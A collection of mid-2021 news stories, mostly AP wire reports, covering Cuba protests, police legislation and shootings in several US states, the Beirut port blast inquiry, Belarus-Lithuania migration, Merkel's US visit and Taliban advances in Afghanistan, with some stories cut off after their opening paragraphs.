For so long the bearded, fatigues-clad Fidel Castro defended the pain of the Cuban people as the righteous struggle of a proudly sovereign nation. Diaz-Canel, born in 1960, lacks Castros charismatic ability to invoke the faded revolutionary past.

Ever fewer Cubans even remember those heady post-revolution years, says the Cuba historian Joseph Gonzalez.

Unlike their parents and grandparents, Cubans in their 20s, 30s and 40s never enjoyed a sustained, functional contract with the regime: We provide you a living, and in exchange you give us support, or at least acquiescence.

Gonzalez says younger generations in Cuba still trust the government to provide free quality health care and education  both achievements of the Castro era.

But they know it cannot feed, clothe and house its people in any but the most basic way, he says.

Today Cubans have to hustle to survive; many work two jobs. A recent currency change means cash is scarce and many everyday goods are unaffordable. And after a year keeping the pandemic largely at bay, COVID-19 is surging on the island.

Recent protests suggest some Cubans are sick of so much struggle.

Editors note: This story is a roundup of articles from The Conversations archives.

This article is republished from The Conversation under a Creative Commons license. Read the original article here: https://theconversation.com/cuba-protests-4-essential-reads-on-dissent-in-the-post-castro-era-164456.
The Edwardsville Public Safety Committee Tuesday started with a discussion and a demonstration from the citys fire department.

The discussion began with the fire departments recent Trench Rescue Operations Training, which was held this past week, according to Edwardsville Fire Chief James Whiteford. Personnel trained in a 10-foot by 16-foot trench to practice three different phases of removing a trapped patient from a trench. These phases included helping someone in a trench without putting any personnel in the trench, dropping a board on the side of the trench to create a shore to keep additional dirt from falling onto a patient and sending personnel down to physically lift a patient out once it would be safe enough to do so.

There were several precautions the department took while running the training, and overall, Whiteford said the training went well.

It is a very good class, but also very hazardous, Whiteford said. Dealing with a real chance that it can have a collapse.

The classes were conducted in-house, meaning the fire department was able to teach with their own personnel who have been trained at the required level.

There are two advantages to the in-house training, according to Whiteford. First, the personnel is already on duty to train which cuts down on overtime. Second, people from other fire departments are able to attend the training and, since it is a state certification class, the law enforcement officers pay for the training. This helps counter the cost of training for the department. In fact, one person from a different agency attended the recent trench training.

Whiteford said several officers are going to the Illinois State Police Academy to test for certification following the training. He said the department is looking forward to doing more classes like this in the future.

Alderwoman Janet Stack approved of the efforts.

With all the construction going on in this area its important that we have this sort of training for our first responders, she said.

The fire department demonstrated its Lucas CPR Device during the committee meeting, as well. This device allows for CPR to be continuously administered when moving a patient, which allows paramedics to administer other life-saving actions in a situation of cardiac arrest.

In addition, the Edwardsville Police Department provided an update on new hires for police officer and community service officer positions. As of now, Justin Benton has been hired and will begin attending the police academy on Aug. 23.

The police department is also waiting on background check results for a young woman and a written acceptance from another young man. If the results come back soon, there may be three Edwardsville officers attending the academy this August.

The police department is going to begin lateral interviews next week to move personnel up and fill in positions after the departure of former Edwardsville Police Chief Jay Keeven. Maj. Michael Fillback was named new chief last week.
PHOENIX (AP)  A woman who acknowledged helping a former Arizona politician in an illegal adoption scheme involving women from the Marshall Islands was sentenced to two years in prison Tuesday.

Lynwood Jennet, 47, took part in submitting false applications for the birth mothers to receive state-funded health coverage, even though none of the women resided in the state. She had pleaded guilty to conspiracy and theft charges for her role at the direction of Paul Petersen, a Republican who served as Maricopa County assessor for six years.

Petersen worked as an adoption attorney before resigning his elected post and pleading guilty in three states to crimes related to to the scheme. The health care fraud committed by Petersen and Jennet totaled $814,000, authorities said.

Petersen is in prison serving a total of 11 years for a conviction in Arkansas for conspiring to commit human smuggling and a health care fraud conviction in Arizona.

Additionally, Petersen was sentenced to one to 15 years in prison in Utah for a human smuggling conviction. The Utah sentence, which leaves it up to the states parole board to decide how long a person actually serves, is to be served concurrently, meaning Petersen could be done with his Utah sentence by the time he completes his other sentences, or have up to four more years.

Authorities say Petersen illegally paid women from the Marshall Islands to come to the United States to give up their babies in at least 70 adoption cases over three years. Citizens of the Marshall Islands have been prohibited from traveling to the U.S. for adoption purposes since 2003.

Jennet was accused of serving as a point of contact for people in the Marshall Islands who looked for pregnant women interested in coming to the United States to give up their children for adoption. Investigators have said Jennet relayed information about birth mothers to Petersen, who bought the women passports and plane tickets to Phoenix.

Her attorney said Jennet, a native of the Marshall Islands, cooperated with investigators.
COLUMBUS, Ga. (AP)  A local government in Georgia agreed Tuesday to pay $500,000 to settle a lawsuit brought by the family of a Hispanic man who died in a struggle with police officers 2017.

Columbus Council members met in closed session and approved the settlement with the family of Hector Arreola, news outlets reported.

Council decided that it was in the best interest of everyone involved, to include the Arreola family, the law enforcement personnel involved, the citizens of Columbus, Georgia, Mayor Skip Henderson told WRBL-TV after the vote. It gives us an opportunity, maybe to begin some healing on this.

Council member Walker Garrett, an attorney who made the motion to settle the suit, said the settlement is unrelated to any criminal case that a district attorney might pursue against the officers.

We think that the judge had made a pretty emphatic statement about the fact that there was precious little evidence to warrant a murder charge in this instance," Garrett said. "We are focused now on the civil aspect, and it allows the family to begin the healing process.

An attorney for the Arreola family, Mark Post, released a statement saying the family considers the civil case closed, the Ledger-Enquirer reported.

The Arreola family is pleased that this matter has been resolved and hopes that this resolution can provide a measure of healing for the community," Post said.

Arreolas father, Rodrigo Arreola, signed the settlement agreement July 9. It says $490,000 will go to the guardian of Hector Arreolas young child, and $10,000 will go to his estate, as managed by Rodrigo Arreola.

The agreement maintains the police officers did nothing wrong, and says the city offered the settlement without the officers' consent. The officers expressly deny any and all liability, responsibility and potential liability, and the settlement shall not be construed as an admission of liability, the agreement states.

NAACP leaders in Columbus have likened Arreolas death to that of George Floyd in Minneapolis. Columbus NAACP branch President Wane Hailes has said Arreola said 16 times that he couldnt breathe as an officer sat on him for more than two minutes while Arreola was handcuffed.

The officers were put on administrative leave during an investigation, but have returned to duty.

In June, U.S. District Judge Clay Land ruled that he would not halt the wrongful death lawsuit against officers Michael Aguilar, Brian Dudley and Aaron Evrard, despite their concerns that the district attorney is seeking to indict them on criminal charges. Land said he doesn't believe they can be successfully prosecuted for a crime.

The officers sought a postponement in the civil case after Muscogee County District Attorney Mark Jones named private attorney Christopher Breault as a special prosecutor investigating Arreola's death. Jones said he hoped Breault would be ready to present the case for possible indictment during the current court term, which ends in August.

The officers attorneys argued the criminal investigation hampered their defense in the civil suit, saying they could testify if they werent compelled to use their Fifth Amendment right to avoid self-incrimination.

Arreola died during an arrest for disorderly conduct. The Georgia Bureau of Investigations initial autopsy report found that he died from methamphetamine toxicity. But the agency amended the report last year to say Arreola died by homicide. The amendment changed the cause of death to sudden cardiac death following a struggle with law enforcement including prone position restraint complicating acute methamphetamine toxicity.

The lawsuit alleged the cardiac arrest resulted from brain damage caused by the force the officers used in restraining him.

Land wrote that the statute of limitations has run out on all possible state charges except murder, and that the evidence he has seen shows it's unlikely that prosecutors could prove that officers acted with premeditated malice or that they killed Arreola while committing a separate felony. Those are the grounds for murder under Georgia law.

Jones last month said he respects Lands ruling, but that the criminal case should be heard by a grand jury.
BEIRUT (AP)  Lebanons president said Wednesday there would be no political cover for anyone implicated in last years massive explosion at the Beirut port, speaking a day after protests erupted over the handling of the investigation.

The blast on Aug. 4 was caused by the ignition of hundreds of tons of ammonium nitrate, a highly explosive fertilizer that had been stored for years there with the knowledge of top government officials. The explosion killed over 200 people, injured hundreds more and devastated nearby Beirut neighborhoods.

It's still unclear what exactly caused the explosion, and an investigation by a state-appointed judge has been riddled by charges of political interference. The delays have frustrated the public, particularly amid reports that most of Lebanon's leadership, including the president, knew of the explosives at the port.

The hours-long protests Tuesday outside the house of caretaker Interior Minister Mohamed Fehmi were sparked by his rejection of a request by the new lead investigator to remove immunity for one of the most senior security officials accused in the port case, general security chief Abbas Ibrahim, allowing him to be questioned. The protesters saw Fehmi's move as an obstruction of the probe.

Families of the victims and explosion survivors held a mock funeral while protesters scuffled with members of the security forces guarding the building, who fired tear gas to disperse the crowd. Dozens were lightly injured on both sides.

Amnesty International urged Lebanese authorities to lift immunities granted to all officials, saying that an impartial investigation is essential for a better future in a country with a history of entrenched impunity.

The protesters demand is simple: let justice take its course, said Lynn Maalouf, Amnesty's deputy regional director. Any failure to do so is an obstruction of justice."

President Michel Aoun said Wednesday the investigation is ongoing and that there will be no political cover for anyone who was negligent or guilty. However, he did not address critics who said that Fehmi obstructed the investigation.

Aoun's comments came during a meeting with Patrick Durel, French President Emmanuel Macron's envoy.

Aoun also approved Aug. 4 as a day of mourning, declaring it a national holiday. Families of the victims have been campaigning for this recognition.

Lebanon is in the throes of the country's worst economic crisis but the political leadership has been unable to form a government to lead negotiations with the International Monetary Fund for a recovery package.

The caretaker government resigned after the port explosion. Prime Minister-designate Saad Hariri has been unable to agree with Aoun on a Cabinet line-up and French and local efforts have failed to bridge their differences.

Hariri met Wednesday with Aoun in renewed efforts to resolve the political deadlock and following a quick trip to Cairo, a close ally. He proposed a new 24-minister Cabinet and said he expects a response from Aoun by Thursday. There were reports this was a last-ditch effort before Hariri steps down.

We have entered the ninth month trying to form a government," he said after the meeting. Now is a time for the truth.
VEREBIEJAI, Lithuania (AP)  Mustafa Hussein Hamad kicked a dirty ball between two old tires in the schoolyard where he spends most of his time. He and dozens of other migrants are fenced in at an old school after walking at night through the thick woods into Lithuania from neighboring Belarus.

I paid 1,400 bucks after a friend pointed out this new way to Europe," said the 20-year-old from Baghdad as he waited at the shabby two-story school housing 160 people. Recounting his journey from Iraq for a better life in the European Union, he added: "They said it is a nice shortcut by plane to Minsk.

The building is one of many facilities that Lithuania quickly converted to hold hundreds of people from the Middle East and Africa  an influx that officials in the Baltic country say was unleashed by Belarusian authorities in a hybrid war against the EU.

Daily arrivals sometimes reach triple digits as migrants cross the frontier and appear in the woods in front of Lithuanian border guards, encounter locals picking mushrooms, or simply walk into towns. More than 1,700 have arrived in recent weeks, compared with only 80 for all of 2020.

Lithuania says the influx is an act of retaliation by Belarusian President Alexander Lukashenko. Since the authoritarian leader's reelection to a sixth term in an August 2020 vote that the West denounced as rigged, he has cracked down on opposition protests in his country.

In May, Belarus diverted a passenger jet to Minsk to arrest a dissident journalist, and the EU responded to what it deemed an act of air piracy with tough sanctions. Lukashenko, in turn, ordered a halt to cooperation with the EU on stemming illegal migration.

If some think that we will close our borders with Poland, Lithuania, Latvia and Ukraine and become a camp for people fleeing Afghanistan, Iran, Iraq, Syria, Libya and Tunisia, they are mistaken, he said last week. We wont hold anyone. They are coming not to us but to enlightened, warm and cozy Europe.

At the same time, authorities in Minsk have barred most Belarusian citizens from leaving the country.

The migrants at the school in Verebiejai, a village about 140 kilometers (85 miles) west of Vilnius, are under police surveillance and aren't allowed to leave. Some tested positive for COVID-19 and have been isolating inside.

On Tuesday, six migrants fled a compound in the nearby Lazdijai district, triggering a search by police with dogs and helicopters.

Like other Iraqis, Hamad used an agency that arranged direct flights to Minsk.

"The plane was full, he said.

Iraqi Airways has two flights a week to Minsk on Boeing 747s that can hold up to 500 passengers. Its website showed that a flight Wednesday is full, as are the next two.

Once in Minsk, Hamad said he and others were taken to a hotel where their passports were seized. Four days later, cars picked them up in groups of three.

The driver spoke Kurdish. He dropped us at dusk in the middle of the forest and pointed in the direction towards the European Union, Hamad said.

Another Iraqi, Haidar al-Garawg, said he paid $1,500 to reach Minsk and had hiked with others through a forest and even a swamp, "but we kept walking through the water.

"We faced wild animals and all other things. I thought we are going to die in that forest. But thanks to God! He saved us and made it possible for us to arrive here, al-Garawg said.

None of the 160 housed at the Verebiejai school has a passport. Some say they lost their documents on their trek, while others say they were confiscated in Belarus.

Lithuanian authorities are using the migrants' phones to identify them while overwhelmed regional courts process their asylum applications.

On Tuesday, Lithuania's parliament passed legislation to speed up deportations of those crossing the border illegally. Critics say this might violate their human rights, but the government and lawmakers dismiss that.

This is an extreme situation," Interior Minister Agne Bilotaite said. "This is not a normal migration, it is not a normal migration path. It is a hybrid war against us, so the response must be adequate.

Foreign Minister Gabrielius Landsbergis will visit Turkey and Iraq this week to try to open repatriation channels for those denied asylum in Lithuania.

Frontex, the EUs border agency, has pledged to bolster its support due to the growing migratory pressure at the border with Belarus. New sections of barbed wire fence were erected this month, with plans to invest 41 million euros ($48 million) to reinforce the entire 678-kilometer (421-mile) border with Belarus.

Lithuanian Prime Minister Ingrida Simonyte said that by encouraging the flow of migrants, Lukashenko is seeking to pressure her countrys infrastructure and politics.

"The organized mass immigration is revenge, she told The Associated Press.

Immigrants are being used not only by criminals but also by regimes, Simonyte said. This is a great pity that I feel for them because they are instrumentalized for the sake of those who do not care about people."

Belarusian opposition leader Sviatlana Tsikhanouskaya, who ran against Lukashenko and fled to Lithuania under official pressure in Minsk, shares Simonyte's view.

Its obviously an attempt of revenge by (Lukashenkos) regime to Lithuania and the whole European Union for their support of the civil society in Belarus, she said.

Simonyte charged that Russian President Vladimir Putin used similar tactics in 2016, encouraging migrants to cross into Norway and Finland. Russia denied the allegations at the time.

"Putin and Lukashenko really do not care about people from Iraq or African countries. They just want to use them as a tool to increase pressure on the EU and potentially inspire unhealthy political debates, she said.

Belarusian opposition activist Pavel Latushka alleged that a recent Lukashenko decree offering visa-free entry to Belarus for nationals from 73 countries to get vaccinated against COVID-19 was aimed at increasing the migrant influx. He said a special unit of the Belarusian border agency was taking migrants to the Lithuanian border and helping them cross in lightly guarded areas.

Belarus Border Guard Committee wouldn't comment.

Simonyte said the migrant influx "easily triggers some people in Europe, especially those on the far right.

Even if there are no strong such parties in the country, there are movements and some of them are financially linked to the sources from the same regime, she said.

Verebiejai residents expressed worry over the migrants.

We know very well what will follow these first birds," farmer Jonas Bredikis said. "We do not want to see terrible things here that are happening in France, Spain and elsewhere.

An anti-migrant group of more than 50 vehicles organized last weekend in the Raigardas border district was turned away by police. More actions are planned, and social media was buzzing with warnings of possible threats. In the port of Klaipeda, tenants in one apartment building organized a rally after rumors spread that hundreds of migrants would be housed in their neighborhood  a claim that proved false.

As he passed the time by watching a family of storks nesting on a pole at the school in Verebiejai, Hamad said the birds reminded him of those he used to see near his home in Iraq, but now they are gone.

Of his own journey, he said: I left because this is a chance for a new life.

___

Associated Press writer Yuras Karmanau contributed to this report from Kyiv, Ukraine.

___

Follow AP stories on migration at https://apnews.com/hub/migration
BERLIN (AP)  German Chancellor Angela Merkel left Wednesday for Washington on what is likely to be her last official visit , carrying a bag full of issues to discuss with President Joe Biden and an overarching message for Berlin's close ally: you've got a friend.

The veteran German leader is expected to discuss the ongoing coronavirus pandemic, the rise of China and a Russian gas pipeline that Washington opposes during her meetings Thursday with Biden, Vice President Kamala Harris and other senior U.S. officials.

In part this is a farewell visit, in part she is signaling continuity and stability in the German-U.S. relationship, said Johannes Timm, a senior fellow at the German Institute for International and Security Affairs, a think tank in Berlin.

After 16 years dealing with Merkel, many officials in Washington and elsewhere are wondering what course Germany might take after the next election and the long-time chancellor  who has dealt with four U.S. presidents in her time  will seek to reassure them that there wont be a huge shift, he said.

Merkel's party is leading in polls ahead of Germany's Sept. 26 election, but the environmentalist Greens and the center-left Social Democrats are also vying to lead a future government. While the three parties differ in many policy areas, all are committed to a strong trans-Atlantic relationship.

One sour note that preceded and outlasted the Trump era of diplomatic discord with Washington has been the thorny issue of a new pipeline bringing natural gas from Russia to Germany.

The United States has long argued that the Nord Stream 2 project threatens European energy security and harms allies in Eastern Europe. But Biden recently waived looming sanctions against German entities involved in the project, signaling a possible compromise may be found.

Merkel sought this week to dampen expectations for an imminent breakthrough, but she is likely to want to resolve the issue before leaving office. It weighs on German-U.S. relations and German-EU relations, said Timm.

While German officials have been unusually coy about which topics will be discussed during the trip, Merkel's spokesman confirmed Wednesday that China will come up.

That can be said with relative certainty, Steffen Seibert told reporters. This also played an important role at the G-7 summit, where the chancellor and the American president last met.

Germany has strong trade ties with China but has also been critical of Beijing's human rights record. Merkel is keen to avoid a situation in which Germany, or the European Union, might be forced to choose sides between China and the United States.

Merkel has insisted on the need to cooperate with China on global issues such as combating climate change and tackling the coronavirus pandemic, even while Biden's predecessor Donald Trump was accusing Beijing of having started it.

The humanitarian group Doctors without Borders urged Biden on Wednesday to lean on Merkel to drop her opposition to proposals for suspending vaccine patents. Merkel, a trained scientist, has argued that lifting the patents wouldn't be effective and could harm future research and development efforts.

Along with the substance, there will be plenty of ceremony during the one-day visit: Merkel will receive an honorary doctorate  her 18th  from Johns Hopkins University, and she and her husband, chemist Joachim Sauer, will dine with the first family at the White House.

Merkel's trip may not be her last, either. The 66-year-old said that growing up in East Germany she dreamed of being able to travel to America on her retirement, when the communist bloc tended to relax some of the restrictions on its citizens.

So far, Merkel has announced no plans for her time after office.
COLUMBIA, Mo. (AP)  Missouri Gov. Mike Parson on Wednesday signed bills that would increase police accountability, limit the use of officer chokeholds and, critics say, shield police while ramping up penalties for protesters.

One measure puts limits on investigations of officers and provides protection against civil claims unless the officer is criminally convicted, among a wide range of other policy changes.

The other limits police use of chokeholds, the technique used by former Minneapolis police Officer Derek Chauvin to kill George Floyd last year.

The chokehold provision was spearheaded by Democratic Sen. Brian Williams, of University City, who said it would save Black lives.

This has been a long time coming, Williams tweeted Tuesday.

Under the new Missouri law, police can only use chokeholds in self-defense, meaning a suspect presents a serious danger to the officer or someone else.

The broader measure, sponsored by Republican Sen. Tony Luetkemeyer, makes it a crime for police or prison guards to have sex with detainees, or to have sex with anyone else while they're on duty if they use coercion.

It also includes a requirement that juveniles be represented by a lawyer if they're facing charges that could mean incarceration and a mandate that jails and prisons provide women with tampons and menstrual pads.

But Missouri NAACP President Rod Chapel said the measure makes little progress, especially considering it includes numerous provisions to further protect police that he said are unnecessary.

Missouri was so far behind the times on some of these measures, that its hard to say that this is a real improvement because were just catching up with basic human rights, Chapel said.

Luetkemeyer's bill will allow Kansas City police to live outside city limits. He sought the change in hopes of boosting the number of Kansas City police, but critics argued the move will lead to more distrust between Black residents and white officers who don't live in the area they police.

Parson signed Luetkemeyer's bill the same day he gave approval to the measure sometimes referred to as the police bill of rights."

The new law, sponsored by Republican Sen. Bill Eigel, spells out procedures for disciplining police. Among other things, it requires records of any administrative investigation to be confidential and kept secret from the public, except by subpoena or court order.

Another provision addresses the so-called defund the police movement. It prohibits decreasing the budget for a policing agency by more than 12% compared to the jurisdictions other departments over a five-year period.

Both Luetkemeyer and Eigel's legislation create new crimes, which so-called criminal justice reform advocates have opposed.

Luetkemeyer's measure makes it a misdemeanor crime to point laser pointers at police and outlaws what's known as doxxing, meaning posting personal identifying information online with the intent to seriously injure or kill someone. Penalties for doxxing will be higher when the victim is a police officer.

Chapel said that could mean people are charged for simply naming police accused of misconduct.

These guys carry guns, Chapel said. Theyve got access to mad weapons, and essentially a bunch of friends who are also armed and paid to be available. So the thought that officers need to be afraid when someone names them in the media is completely laughable.

Eigel's legislation targets protesters.

The bill upgrades the charge from a misdemeanor to a felony if someone vandalizes any public monument or structure on public property. Public structures such as police stations have sometimes been targeted by racial injustice protesters, as have monuments including those honoring the Confederacy. The upgraded charge means, potentially, more jail time and a higher fine.

Another provision creates a new class D misdemeanor for anyone who willfully or recklessly interferes with an ambulance. Racial injustice protesters often march or gather on streets, roads and highways, which authorities say risks blocking access for ambulances and other first responders.
LAUDERHILL, Fla. (AP)  A 36-year-old South Florida woman has been arrested, weeks after the bodies of her two young daughters were found floating in a canal.

Tinessa Hogan, 36, was arrested Tuesday night on two counts of first-degree murder, news outlets reported.
RALEIGH, N.C. (AP)  A wide-ranging criminal justice measure focused on weeding out problem law enforcement officers in North Carolina and giving mental health aid to others cleared a House committee on Wednesday.

The measure received broad support only after the deletion of newly crafted language that racial justice advocates argued could make it harder for victims' family members to secure access to certain police body camera footage.

Civil rights groups and Democrats on the committee had criticized those changes to what was included in the measure when the Senate approved the legislation unanimously two months ago. A bill sponsor said alterations occurred recently after additional meetings with the North Carolina Sheriffs' Association and other law enforcement groups.

The proposed body camera language does not have consensus support and is harmful, Daniel Bowes, policy and advocacy director for the American Civil Liberties Union of North Carolina, told a House judiciary panel.

Adjustments to body camera rules surfaced after the April shooting death of Andrew Brown Jr. in Elizabeth City by Pasquotank County sheriff's deputies. It took some time and a judge's order before Brown's family could watch significant amounts of video that show how Brown died.

A wide array of groups across the political spectrum have backed the broader legislation, which emerged after a year of national focus on racial inequity and police shootings of Black residents, including the May 2020 murder of George Floyd while held by Minneapolis police.

After conversations with Black state senators and others this spring, the Senate added language that would tell a law enforcement agency it must let the family or a victim view the unredacted recordings of a death or serious bodily injury within five business days of their request. But the agency still could ask a judge before that happened to let it edit or withhold footage.

Current law gives law enforcement discretion to refuse the request of the family, which could then go to a judge to seek that decision be overturned. Critics say that forces a family member to go to court  and likely hire an expensive attorney  to find out what happened to their loved one.

But the House version reworked the procedure. The police department or sheriff's office would have been required to petition a court within five days of the request. Then the judge would hear from all sides and alone decide how much footage, if any, would be accessible to the family.

Eddie Caldwell, the N.C. Sheriffs' Association executive vice president, said his group was told it was critical in the negotiations to remove the requirement that family members must petition the court. The latest language fulfilled that, he said.

The language in the Senate bill would have had a law enforcement agency head in the position of making a judgment call that should be made by a neutral and detached judge, Caldwell said.

Dawn Blagrove, head of the racial justice advocacy group Emancipate NC, said the language in the House version actually would make situations worse in communities where police shootings occur because it would lead to delays in disclosure by requiring court intervention.

It takes a monumental step backwards for transparency in law enforcement and for victims and family," Blagrove said in urging committee members to vote against the entire bill should the House language remain. But the committee ultimately decided to take those provisions out before voting for the measure, which now heads to another panel.

Body camera footage alterations could reappear in final negotiations for what appears otherwise as a bipartisan criminal justice reform measure.

Other approved portions would create a public database to determine whether an officer's certification has been suspended or revoked. The state also would create a database accessible by law enforcement that contains critical incident information about when an officer has been involved in a case resulting in death or serious injury.

Police officers would have a duty to report a colleagues excessive force to superiors, and officers would receive psychological screenings and mental health strategies.
LANSING, Mich. (AP)  More than 600,000 Michigan residents who received pandemic-related unemployment aid are being told to update their accounts after the state learned that some reasons for eligibility approved months ago were wrong.

At the start of the coronavirus pandemic, states had flexibility to interpret federal guidelines, but the U.S. Labor Department subsequently became more prescriptive, the Unemployment Insurance Agency said Wednesday.
HAZEL DELL, Wash. (AP)  A Clark County deputy who shot and killed a Black man during a traffic stop in southwestern Washington acted justifiably and shouldnt face criminal charges, a panel of prosecutors said.

Five Washington state prosecutors wrote Tuesday that the Feb. 4 traffic stop was flawed, but ultimately Deputy Sean Boyle acted in good faith when he shot Jenoah Donald, 30, Oregon Public Broadcasting reported.

Donalds refusal to exit the vehicle quickly escalated and Deputy Boyle, unable to reach his Taser, drew his weapon and shot Mr. Donald to protect himself and other deputies, the prosecutors wrote.

Donald and Boyle struggled near and inside the sedan Donald drove that night. The engine revved during the altercation, investigators said. In that moment, prosecutors said the car could be construed as a weapon.

Donald spent over a week on life support and died Feb. 12. His mother, Sue Zawacky, said in a statement Tuesday that the family feels let down and disappointed. She said the family also called on the state Attorney General Bob Ferguson to investigate.

We hope the officers will resign for the good of the community because they dont have the patience and skills for the job, Zawacky said.

Brionna Aho, a spokeswoman for Ferguson, told The Oregonian/OregonLive Tuesday that the agency lacked jurisdiction to step in.

The finding that the shooting was justified was a consensus among the prosecutors who began reviewing the case in late April, according to Jonathan Meyer, Lewis Countys elected prosecutor. The panel included the elected prosecutors from Lewis, Yakima, Pend Oreille, Snohomish and Pierce counties.

We all agreed on the conclusion  that no criminal charges should be filed, Meyer told Oregon Public Broadcasting.

There are no known witnesses and no video footage of Donalds death, but investigators described a chaotic scene. Three deputies stopped Donald for a broken tail light in Hazel Dell, Washington, about 15 miles (24 kilometers) north of Portland, Oregon, while responding to a complaint of a drug house in the area, according to investigators.

One deputy said she thought she saw a weapon in Donalds car, which investigators later said they believed was a screwdriver sitting in the center console. When the deputy yelled for Donald to show his hands, Boyle threatened to release a police dog on Donald, and punched him in the nose, investigators said.

Boyle and Donald then wrestled and the engine of Donalds sedan began to rev, investigators said. Boyle drew his gun, and said he issued a warning before shooting twice, hitting Donald once in the head.

Clark County Prosecuting Attorney Tony Golik said in a statement Tuesday he agreed with the panels review that Boyle actions were justified.

Clark County Sheriff Chuck Atkins said his thoughts continue to be with Donald's family, he fully supports ongoing efforts to improve transparency and accountability, and he appreciates the hard work of his deputies.

We will strive to learn all that we can from this incident and work at constant improvement, Atkins said.

Tacoma-based attorney Mark Lindquist, who represents the family, called the traffic stop negligent and illegal.

Whats clear is the officers unnecessarily escalated a petty traffic stop into a fatal shooting, Lindquist said. In this case, accountability and justice will come in our lawsuit.

Donalds family previously said they plan to file a wrongful death claim against Clark County for $17 million.

Separately, a review is underway of the Oct. 29 police shooting of another Black man, Kevin Peterson Jr., who died after other Clark County sheriff deputies fired on him during a drug sting.
MOSCOW (AP)  Moscow expects the Taliban to fulfill its pledge not to threaten Russia or its allies in Central Asia, the Kremlin envoy on Afghanistan said in an interview published Wednesday.

Zamir Kabulov, who met with a Taliban delegation that visited Moscow last week, voiced confidence that the Taliban would focus on securing their gains in Afghanistan and wouldn't try to challenge the countries of the region.

"They visited Moscow to offer guarantees on behalf of the Taliban's supreme leadership that the territory of Afghanistan will not be used against the interests of third countries, Kabulov said in an interview with the state RIA-Novosti news agency. He said he previously received similar assurances from Mullah Abdul Ghani Baradar, the co-founder of the Taliban.

The Talibans focus on fighting the Islamic State group also works in Russias interests, Kabulov said.

The Taliban fight the Islamic State, and the Taliban gains erode the foundation for any IS attacks and diversions in Central Asia, the diplomat said.

The Taliban claimed last week that it now controls 85% of Afghanistans territory after making quick gains amid the withdrawal of American troops that is set to wrap up on Aug. 31. Earlier this month, Taliban advances forced hundreds of Afghan soldiers to flee across the border into Tajikistan.

Kabulov said the retreating Afghan troops fired on the Taliban fighters after crossing into Tajikistan, but the Taliban didn't return fire.

He also said he did not expect the Taliban to take over all of Afghanistan.

They may take control of several provinces... but it wouldnt allow them to become the omnipotent rulers of Afghanistan, Kabulov said.

The Kremlin envoy acknowledged that the Islamic State group and other militant groups in Afghanistan could pose a threat to Russia's allies in Central Asia north of Afghanistan. He said Russia would work with Central Asian nations to coordinate security efforts and tighten border protection.

That would be the most impressive signal to any forces against encroaching on our security, said Kabulov, who is set to attend an international security conference in Tashkent, Uzbekistan that opens Thursday.

He predicted that Afghanistan will see intense fighting in the coming months before the Afghan government, the Taliban and other groups become ready for substantial and fruitful talks.

Both parties were preparing for the fighting for too long, and before they spend their ammunition it's hard to expect anything, the Russian diplomat said. The fighting will continue for another couple of months before a new military-political balance is established.

Kabulov said that Russia has been talking to all parties involved to encourage them to negotiate a political settlement.

Moscow, which fought a 10-year war in Afghanistan that ended with Soviet troops withdrawal in 1989, has made a diplomatic comeback as a mediator, reaching out to feuding Afghan factions and hosting several rounds of their talks.

While he criticized the results of the U.S. mission in Afghanistan, Kabulov stressed that Moscow and Washington share common interests in Afghanistan and were working closely together to help stabilize the country.

It's almost the only field where we cooperate in a fruitful way with the Americans, the envoy said.

Russia nonetheless has warned the United States against deploying its troops in the former Soviet Central Asian nations following the withdrawal from Afghanistan.
BURGAW, N.C. (AP)  A second suspect has been arrested in connection with the armed robbery of a group of duck hunters in North Carolina, authorities said.

The Pender County Sheriffs Office said Tyrese Daquan Lee, 26, was taken into custody on Tuesday, WECT reported. Lee faces multiple charges, including armed robbery and assault with a deadly weapon inflicting serious injury, according to the sheriff's office. It's not known if Lee has an attorney.
WORCESTER, Mass. (AP)  A man originally charged with murder in connection with a 2019 shooting at a Worcester apartment complex pleaded guilty on Wednesday to a lesser charge of manslaughter.

Juan Gutierrez, of Southbridge, was sentenced to up to 20 years in prison in Worcester Superior Court after pleading guilty in the death of Juan Mendez, 37, on Sept. 7, 2019, The Telegram & Gazette reported.
KABUL, Afghanistan (AP)  The Taliban are pressing on with their surge in Afghanistan, saying they seized a strategic border crossing with Pakistan on Wednesday  the latest in a series of key border post to come under their control in recent weeks.

The development was the latest in Taliban wins on the ground as American and NATO troops complete their pullout from the war-battered country. On Tuesday, an Afghan official said a senior government delegation, including the head of the countrys reconciliation council, would meet the Taliban in Doha, Qatar, to jump-start the long-stalled peace talks between the two sides.

Taliban spokesman Zabihullah Mujahid tweeted a video purporting to show Taliban fighters Wednesday in the southeastern town of Spin Boldak along the Afghanistan-Pakistan border. On the Pakistani side, residents of the border town of Chaman reported seeing the Taliban's signature white flag flying just across the boundary line and Taliban fighters in vehicles driving in the area.

However an Afghan government official from southern Kandahar province, where Spin Boldak is located, denied that the Taliban had taken control. The official declined to be identified by name, without explaining why.

The Taliban have in recent weeks taken a string of major Afghan border crossings, including with Iran, Uzbekistan and Tajikistan. The border crossing with Iran at Islam Qala in Afghanistan's western Herat province is particularly lucrative and an important trade route.

SpinBoldak is a key crossing for all goods from Pakistan's southern port city of Karachi to Afghanistan, a landlocked nation dependent on the Arabian Sea port.

Last week, the Taliban said they now control 85% of Afghanistan's territory  a claim that is impossible to verify but that was considerably higher than previous Taliban statements that more than a third of the countrys 421 districts and district centers were in their control.

Many Afghan districts have fallen to the Taliban without a fight as Afghan forces abandoned their posts. Reports indicated that Spin Boldak also fell without a fight.

In northern Afghanistan, a traditional stronghold of U.S.-allied warlords, more than 1,000 Afghan military men fled across the border into northern Tajikistan last week ahead of the advancing Taliban. Iran also reported a few hundred Afghan troops crossing into Iran.

The taking of key border crossings will likely mean significant revenue for the Taliban while also strengthening their hand in any future negotiations with the Kabul government.

The Taliban surge has also resulted in tens of thousands of Afghans fleeing their homes  some as a result of the fighting, but many out of fear of what life might be like under Taliban rule.

Zalmay Khalilzad, the U.S. special representative for Afghanistan reconciliation, acknowledged the ongoing chaos in remarks Wednesday. However, he pointed to the decades of unrest in the country since the 1979 Soviet invasion.

The fact is that Afghanistan has been at war for 43 years  it isnt that Afghanistan has been peaceful and now we are withdrawing and therefore its becoming a battleground, Khalilzad told an online seminar organized by the Beirut Institute. The Taliban were making progress each year over the last several years while we were still there.

The Taliban leadership has tried to present a softer image  even saying that once they return to power in Afghanistan, girls can attend school and women will be allowed to work. However, in areas where they have gained control, reports from villagers say women are often being ordered inside, allowed out only when accompanied by a male relative.

In the video circulated by Mujahid, an unidentified Taliban fighter says that while they could have killed the Afghan soldiers at the border crossing, they were ordered by their leadership not to hurt them but to send them home.

